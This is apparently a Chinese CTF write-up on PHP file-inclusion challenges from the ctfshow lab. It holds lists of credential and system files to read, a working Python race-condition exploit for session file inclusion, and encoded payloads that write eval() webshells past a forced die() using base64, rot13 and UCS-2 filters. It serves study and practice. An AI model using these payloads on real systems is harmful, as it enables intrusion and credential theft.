从ctfshow再看文件包含

文章发布时间:

最后更新时间:

文章总字数:
2.2k

预计阅读时间:
9 分钟

从ctfshow看文件包含

之前对文件包含的认识总局限于伪协议(因为做题中最常见,通过伪协议来读取源码文件,然后再下一步),今天就借助ctfshow靶场的题总结一下常见的文件包含考法,更细更少见的姿势就在复现比赛题的时候再学习吧。

伪协议利用

PHP伪协议总结 - 个人文章 - SegmentFault 思否

最常用的就php://filter和data写入文件来过检测,至于那种直接可以执行php代码的,我感觉除了靶场也不会再出现了。

web78

1
2
3
4
5
6
7
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);

最经典的?file=php://filter/convert.base64-encode/resource=flag.php

也可以利用这个filter来读取一些敏感的文件,通常为index.php等题目环境的源码,也有一些通用的敏感文件,说实话在目前这个阶段一次都没有用过,最多提权的时候要看一下这些文件。

windows:

1
2
3
4
5
6
7
8
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

可以使用绝对路径读取,也可以使用../来跳出目录限制读取,至于直接读到flag还是别想了。

远程文件包含

环境要求

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

如果可以远程文件包含,就可以先把一句话木马写到自己的服务器上,再通过http协议来包含进来。

注意包含的时候自己的服务器上一定要开一个php的web服务器!不然只是把文件包含了进来(写到了注释里),没有进行解析!

详见ctfshow web357

image-20230728160617528

日志文件包含

日志文件包含首先必须要日志文件可以正常包含进来,通过file传入日志文件的路径(例如nginx日志文件路径是/var/log/nginx/access.log),如果可以看到日志信息就大概率可以进行包含。

通过在ua头写入一句话马,发送两次,再包含日志文件执行代码即可。

条件竞争

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

主要是通过PHP_SESSION_UPLOAD_PROGRESS加条件竞争来进行session文件包含,话不多说上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import io
import sys
import requests
import threading

host = 'http://bdcf7e91-d742-4350-a991-21b7290cf801.challenge.ctf.show/'
sessid = 'feng'

def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');echo md5('1');?>"},
files={"file":('a.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)


with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)

这个脚本可解决web82-86

绕过死亡exit

web87

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
highlight_file(__FILE__);
}

法一:利用base64编码

通过file传入php://filter/write=convert.base64-decode/resource=1.php利用base64写入将原来的exit内容当base64解码,注意对齐位数,不然无法正确解码我们写入的马。

base64解码的时候会自动跳过无法识别的字符且四个一组识别。

插播一个关于base64的小知识点,web88,过滤了=号,但是我们的马base64结果有等号,这时候可以通过在?>后面加一些无关紧要的字符来使得base64的结果等号消失,其实也可以直接去掉等号,因为等号并不会影响base64的解析,解析的时候会自动删掉。

1
2
3
4
5
6
7
8
9
payload:?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

//即?file=php://filter/write=convert.base64-decode/resource=1.php
//对写的内容进行base64编码。
//为了绕过php的检测而进行了每个字符的url编码

post:content=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B
//<?php eval($_POST[1]);?>
//这里加上两个a是为两和phpdie组成8个字符进行解码

法二:利用rot13编码。

Rot13(rotate by 13 places)是一种简单的字符替换加密方法,加密和解密使用相同的算法,即对于给定的输入文本,将其应用于Rot13两次将返回原始文本。

条件是PHP不开启短标签,也就是<??>并不会被识别为php。通过file传入php://filter/write=string.rot13/resource=3.php,然后传已经rot13过一次的马,这样在写入文件的时候再rot13一次刚好就回到了原来的情况,而固定写入的exit只经过了一次rot13编码,从而失去效果。

为什么条件是不开启短标签呢,因为rot13只替换了字母,原来固定写入的exit依然具有<??>,要是能被识别成php代码,就会报错,从而导致马无法正常解析。

1
2
3
4
5
6
7
8
9
10
11
payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30

//?file=php://filter/write=string.rot13/resource=3.php
//对写的内容进行rot13编码。

content=<?cuc riny($_CBFG[1]);?>

//<?php eval($_POST[1]);?>
//rot13两次解码后会变成原来的样子。所以我们将传入的content进行一次rot13编码,然后在写入3.php的时候在进行rot13编码,那么写入文件的时候就会写入<?php eval($_POST[1]);?>。
//而<?php die('大佬别秀了');?>只会进行一次rot13编码,写入文件的时候就不是一个正常的php代码格式。

其实还可以采用其他的编码格式来绕过,只要php://filter/write的过滤器支持就可以用,比如web117,过滤了base64和rot13,可以采用ucs-2编码

我们就可以借用convert.iconv过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,ucs-2编码本质和rot13一样,都是转两次就回到了原来的。

更好的是这个还没有rot13的限制条件,因为转换之后也不是短标签了,但是限制是需要php支持iconv,使用convert.iconv过滤器相当于使用iconv函数

1
2
3
payload:
get: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
post:contents=?<hp pvela$(P_SO[T]1;)>?

参考链接

https://blog.csdn.net/qq_46918279/article/details/120106832

https://www.freebuf.com/articles/web/287085.html

谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)